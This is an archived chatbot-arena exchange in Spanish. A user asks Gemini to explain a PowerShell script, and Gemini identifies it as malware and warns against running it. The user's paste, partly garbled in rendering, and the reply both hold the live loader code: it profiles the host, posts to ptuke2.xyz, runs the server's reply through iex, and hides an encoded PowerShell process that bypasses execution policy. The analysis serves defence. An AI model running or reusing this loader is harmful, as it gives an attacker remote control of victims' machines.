Skip to content
TheChatArchiveThe Chat Archive
Geminigemini-2.0-flash-001· GoogleHugging Face LMArena Human Preference 140K

Ayúdame a entender este script de powershell: $TookNum = 720; $TookSleep=240; $UserName…

From a Chatbot Arena battleThe same person sent this prompt to two anonymous models at once. Compare it with Claudeclaude-opus-4-20250514’s answer.
  1. User

    Ayúdame a entender este script de powershell: TookNum=720;TookNum = 720; TookSleep=240; UserName=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name;UserName = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name; bytes = [System.Text.Encoding]::UTF8.GetBytes(UserName);UserName); UserName = [Convert]::ToBase64String(bytes);bytes); IsAdmin = ([System.Security.Principal.WindowsPrincipal] [System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator); if(IsAdmin){Priv="Admin"}else{Priv="User"}; SessionId = (Get-Process -Id PID).SessionId;PID).SessionId; sessionProcesses = Get-CimInstance -ClassName Win32_SessionProcess; filteredProcesses=filteredProcesses = sessionProcesses | Where-Object { .Dependent.Handle−eq_.Dependent.Handle -eq PID.ToString() }; LogonId=LogonId = null; foreach (processinprocess in filteredProcesses) {LogonId=LogonId = process.Antecedent | Select-Object -ExpandProperty LogonId;break;};; UserType=if(UserType = if (UserName -eq "NT AUTHORITY\SYSTEM") { "SYSTEM" } else { "User" }; LogonSession = Get-CimInstance -ClassName Win32_LogonSession | Where-Object { _.LogonId -eq LogonId }; LogonType = if (LogonSession) { LogonSession.LogonType } else { null }; SessionName = switch (LogonType)2"Console";3"Network";4"Batch";5"Service";6"Proxy";7"Unlock";8"NetworkCleartext";9"RunAS";10"RDP";11"CachedInteractive";Default"Unknown";;LogonType) {2 { "Console" };3 { "Network" };4 { "Batch" };5 { "Service" };6 { "Proxy" };7 { "Unlock" };8 { "Network Cleartext" };9 { "RunAS" };10 { "RDP" };11 { "Cached Interactive" };Default { "Unknown" }; }; filePath = env:programdata+′\hwid.dat′;if(−Not(Test−Pathenv:programdata+'\hwid.dat'; if(-Not (Test-Path filePath)){filePath=filePath = env:appdata+'\hwid.dat';}; if(Test-Path filePath){HWID =(Get-Content filePath -Raw).trim();};; if(HWID){ json = @{UserName = UserName;SID = SessionId;HWID=SessionId;HWID = HWID;Privileges = Priv;UserType=Priv;UserType = UserType;SessionName = SessionName;Build = 0.3;}; json = json∣ConvertTo−Json−Compress;json|ConvertTo-Json -Compress; TookReq='url="https://ptuke2.xyz/online/took.php";url ="https://ptuke2.xyz/online/took.php";json = '''+json+′′′;iwr−Urijson+''';iwr -Uri url -Method POST -Body json−ContentType"application/json"−UsEBaSIcPArsiNg∣iex;exit;′;json -ContentType "application/json" -UsEBaSIcPArsiNg |iex;exit;'; bytes = [System.Text.Encoding]::Unicode.GetBytes(TookReq);TookReq); TookEnc = [Convert]::ToBase64String(bytes); }; ;; while(TookNum -ge 0){ sb = { param(TookEnc); if(TookEnc){ startInfo = New-Object System.Diagnostics.ProcessStartInfo; startInfo.FileName="startInfo.FileName = "env:windir\system32\WindowsPowerShell\v1.0\powershell.exe"; startInfo.Arguments="−whidden−epbypass−encstartInfo.Arguments = "-w hidden -ep bypass -enc TookEnc"; startInfo.UseShellExecute=startInfo.UseShellExecute = false; startInfo.CreateNoWindow=startInfo.CreateNoWindow = true; [System.Diagnostics.Process]::Start(startInfo); } exit; };; Start-sleep(TookSleep); job=Start−Job−ScriptBlockjob = Start-Job -ScriptBlock sb -ArgumentList TookEnc;TookEnc; TookNum--; };

  2. Gemini Assistant

    Este script de PowerShell parece tener intenciones maliciosas. A continuación, te explico el código paso a paso y por qué sospecho que es peligroso:

    Análisis del código:

    1. Variables Iniciales:

      • $TookNum = 720: Establece un contador para un bucle.
      • $TookSleep = 240: Establece un tiempo de espera en segundos (4 minutos).
      • $UserName = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name: Obtiene el nombre del usuario actual.
      • $bytes = [System.Text.Encoding]::UTF8.GetBytes($UserName): Convierte el nombre de usuario a un array de bytes usando la codificación UTF-8.
      • $UserName = [Convert]::ToBase64String($bytes): Codifica el nombre de usuario en Base64. Esto puede ser para ofuscar el nombre de usuario.
      • $IsAdmin = ...: Determina si el usuario actual tiene privilegios de administrador.
      • if($IsAdmin){$Priv="Admin"}else{$Priv="User"}: Define una variable $Priv en función de si el usuario es administrador o no.
      • $SessionId = (Get-Process -Id $PID).SessionId: Obtiene el ID de sesión del proceso actual.
      • $sessionProcesses = Get-CimInstance -ClassName Win32_SessionProcess: Obtiene una lista de procesos y sus sesiones.
      • $filteredProcesses = ...: Filtra los procesos para encontrar el proceso actual basado en su ID.
      • $LogonId = $null: Inicializa una variable para el ID de inicio de sesión.
      • foreach ($process in $filteredProcesses) ...: Itera a través de los procesos filtrados para obtener el ID de inicio de sesión (LogonId).
      • $UserType = ...: Determina el tipo de usuario (SYSTEM o User).
      • $LogonSession = ...: Obtiene información sobre la sesión de inicio de sesión.
      • $LogonType = ...: Obtiene el tipo de inicio de sesión.
      • $SessionName = switch ($LogonType) { ... }: Asigna un nombre a la sesión basándose en el tipo de inicio de sesión.
    2. Manipulación de Archivos y HWID:

      • $filePath = $env:programdata+'\hwid.dat': Define la ruta a un archivo llamado hwid.dat en la carpeta ProgramData.
      • if(-Not (Test-Path $filePath)){$filePath = $env:appdata+'\hwid.dat'}: Si el archivo no existe en ProgramData, busca en la carpeta AppData.
      • if(Test-Path $filePath){$HWID =(Get-Content $filePath -Raw).trim()}: Si el archivo existe, lee su contenido y lo asigna a la variable $HWID. Esto sugiere que está intentando obtener una ID de hardware (HWID) almacenada en un archivo.
    3. Creación y Envío de Datos JSON:

      • $json = @{ ... }: Crea un objeto hash (diccionario) con información como:
        • UserName: El nombre de usuario (codificado en Base64).
        • SID: El ID de sesión.
        • HWID: La ID de hardware (si se encontró).
        • Privileges: Los privilegios del usuario (Admin o User).
        • UserType: El tipo de usuario (SYSTEM o User).
        • SessionName: El nombre de la sesión.
        • Build: Una versión (0.3).
      • $json = $json|ConvertTo-Json -Compress: Convierte el objeto hash a una cadena JSON comprimida.
      • $TookReq='$url ="https://ptuke2.xyz/online/took.php";$json = '''+$json+''';iwr -Uri $url -Method POST -Body $json -ContentType "application/json" -UsEBaSIcPArsiNg |iex;exit;': Esta es la parte más sospechosa. Crea una cadena que contiene código PowerShell que hará lo siguiente:
        • Define una URL: https://ptuke2.xyz/online/took.php. ¡OJO! Esta URL es sospechosa.
        • Define una variable $json que contiene la cadena JSON creada anteriormente.
        • Usa iwr (alias para Invoke-WebRequest) para enviar una solicitud POST a la URL con los datos JSON en el cuerpo.
        • -UsEBaSIcPArsiNg: Fuerza a Invoke-WebRequest a usar parsing básico. A veces se usa para evitar errores, pero también puede ocultar problemas.
        • |iex: ¡EXTREMADAMENTE PELIGROSO! Esto toma la salida del comando anterior (la respuesta del servidor) y la ejecuta como código PowerShell. Esto significa que el servidor puede enviar cualquier código y el script lo ejecutará.
        • exit: Termina el script.
      • $bytes = [System.Text.Encoding]::Unicode.GetBytes($TookReq): Convierte la cadena $TookReq a un array de bytes usando la codificación Unicode.
      • $TookEnc = [Convert]::ToBase64String($bytes): Codifica la cadena en Base64. Esto ofusca el código que se va a ejecutar.
    4. Bucle para Ejecutar Código en Segundo Plano:

      • while($TookNum -ge 0){ ... }: Comienza un bucle que se ejecuta 720 veces.
      • $sb = { ... }: Define un bloque de script ($sb) que se ejecutará en segundo plano. Este bloque hace lo siguiente:
        • param($TookEnc): Acepta un parámetro $TookEnc (el código codificado en Base64).
        • if($TookEnc){ ... }: Si $TookEnc no está vacío, ejecuta el código.
        • Crea un nuevo proceso de PowerShell:
          • $startInfo.FileName = "$env:windir\system32\WindowsPowerShell\v1.0\powershell.exe": Especifica la ruta al ejecutable de PowerShell.
          • $startInfo.Arguments = "-w hidden -ep bypass -enc $TookEnc": Define los argumentos para PowerShell:
            • -w hidden: Ejecuta la ventana de PowerShell oculta.
            • -ep bypass: Omite la política de ejecución de scripts de PowerShell. ¡Esto es muy peligroso! Permite que se ejecuten scripts sin firmar.
            • -enc $TookEnc: Ejecuta el código codificado en Base64 contenido en $TookEnc.
          • $startInfo.UseShellExecute = $false: Especifica que no se use el shell para ejecutar el proceso.
          • $startInfo.CreateNoWindow = $true: No crea una ventana para el proceso.
        • [System.Diagnostics.Process]::Start($startInfo): Inicia el proceso de PowerShell.
        • exit: Termina el bloque de script.
      • Start-sleep($TookSleep): Espera 240 segundos (4 minutos).
      • $job = Start-Job -ScriptBlock $sb -ArgumentList $TookEnc: Inicia el bloque de script $sb como un trabajo en segundo plano.
      • $TookNum--: Decrementa el contador.

    Razones para sospechar que es malicioso:

    • Obtención de información del sistema: Recopila información como el nombre de usuario, ID de sesión, privilegios, tipo de usuario, tipo de sesión e intenta obtener una ID de hardware. Esto sugiere que está intentando identificar el sistema y al usuario.
    • Codificación en Base64: Usa Base64 para codificar tanto el nombre de usuario como el código que se va a ejecutar. Esto es una forma común de ofuscar el código y dificultar su análisis.
    • Omisión de la política de ejecución: Usa -ep bypass para omitir la política de ejecución de scripts de PowerShell. Esto permite que se ejecuten scripts sin firmar, lo cual es muy peligroso.
    • Ejecución de código remoto: El script envía información a un servidor remoto (https://ptuke2.xyz/online/took.php) y luego ejecuta el código que recibe del servidor. Esto le da al atacante control total sobre el sistema. La combinación de Invoke-WebRequest con | iex es una señal de alerta.
    • Ejecución en segundo plano: El bucle while ejecuta el código en segundo plano, lo que dificulta que el usuario detecte la actividad maliciosa.
    • Nombre de variable sospechoso: El uso del prefijo "Took" y el nombre del archivo "took.php" en el servidor remoto no tienen una función obvia y pueden ser un intento de distraer o confundir el análisis del script.
    • URL sospechosa: El dominio "ptuke2.xyz" es sospechoso porque no parece ser un sitio web legítimo o confiable. Es probable que esté asociado con actividades maliciosas.

    En resumen:

    Este script es muy probablemente malicioso. Recopila información del sistema, la envía a un servidor remoto y luego ejecuta el código que recibe del servidor, todo mientras se oculta en segundo plano. No ejecutes este script en tu sistema.

    Recomendaciones:

    • No ejecutes el script.
    • Elimina el script de tu sistema.
    • Escanea tu sistema con un antivirus actualizado.
    • Considera cambiar tus contraseñas si sospechas que tu sistema ha sido comprometido.
    • Ten mucho cuidado con los scripts de PowerShell que descargas de fuentes desconocidas.

    Espero que esta explicación te sea útil. Ten mucho cuidado con este tipo de scripts.

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.